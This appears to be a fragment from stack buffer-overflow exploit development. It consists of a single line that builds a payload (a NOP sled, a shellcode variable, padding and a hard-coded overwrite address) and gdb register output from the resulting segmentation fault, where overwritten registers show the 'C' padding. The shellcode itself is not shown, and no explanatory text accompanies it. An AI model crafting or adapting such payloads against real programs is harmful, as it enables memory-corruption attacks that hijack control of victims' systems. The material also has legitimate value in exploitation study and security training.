crash = "\x90"*200 + shellcode + "\x43"*4090 + "\x77\x4e\x13\x08" + "C"*7

(gdb) info registers
eax            0xffffffda	-38
ecx            0xbffff18c	-1073745524
edx            0x0	0
ebx            0xc000018e	-1073741426
esp            0xbffff18c	0xbffff18c
ebp            0x43434343	0x43434343
esi            0x1	1
edi            0x43434343	1128481603
eip            0xb7dadb7a	0xb7dadb7a
eflags         0x210286	[ PF SF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

Program received signal SIGSEGV, Segmentation fault.
0xb7dadb7a in ?? ()